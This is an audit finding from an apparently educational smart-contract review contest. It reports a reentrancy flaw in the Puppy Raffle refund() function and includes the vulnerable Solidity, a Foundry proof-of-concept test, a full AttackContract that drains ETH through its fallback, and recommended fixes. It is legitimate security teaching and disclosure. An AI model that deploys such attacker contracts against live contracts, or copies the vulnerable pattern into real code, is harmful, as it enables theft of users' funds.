Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

## H-01: Reentrancy in `refund()` enables repeated refunds and ETH drain

Description

  • Normal behavior: a player should receive exactly one refund equal to entranceFee, and their raffle slot should be invalidated immediately after claiming it.

  • Issue: refund() sends ETH to msg.sender before invalidating players[playerIndex]. This allows a malicious contract to reenter refund() from receive() and claim multiple refunds for one ticket, draining pooled ETH.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // @> external call before state update
players[playerIndex] = address(0); // @> state update happens too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reentrancy occurs whenever a participant enters via a contract with a payable fallback/receive function.

  • The vulnerable call path is externally reachable and does not use a reentrancy guard.

Impact:

  • Contract ETH can be drained far beyond the attacker's original deposit.

  • Honest users lose prize pool value and protocol fee accounting is corrupted by unauthorized outflows.

Proof of Concept

function testPoC_ReentrancyDrainInRefund() public {
vm.deal(address(0x101), ENTRANCE_FEE);
vm.deal(address(0x102), ENTRANCE_FEE);
vm.deal(address(0x103), ENTRANCE_FEE);
vm.deal(address(0x104), ENTRANCE_FEE);
_enter(address(0x101));
_enter(address(0x102));
_enter(address(0x103));
_enter(address(0x104));
ReentrantRefundAttacker attacker = new ReentrantRefundAttacker(raffle, ENTRANCE_FEE);
vm.deal(address(attacker), ENTRANCE_FEE);
uint256 attackerBalBefore = address(attacker).balance;
uint256 raffleBalBefore = address(raffle).balance;
attacker.attack();
uint256 attackerProfit = address(attacker).balance - attackerBalBefore;
uint256 raffleBalAfter = address(raffle).balance;
assertGt(attackerProfit, ENTRANCE_FEE); // >1 refund extracted
assertLt(raffleBalAfter, raffleBalBefore - ENTRANCE_FEE); // extra ETH drained
assertEq(raffleBalAfter, 0); // pool fully drained in this setup
}

Recommended Mitigation

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
+ // additionally protect with nonReentrant
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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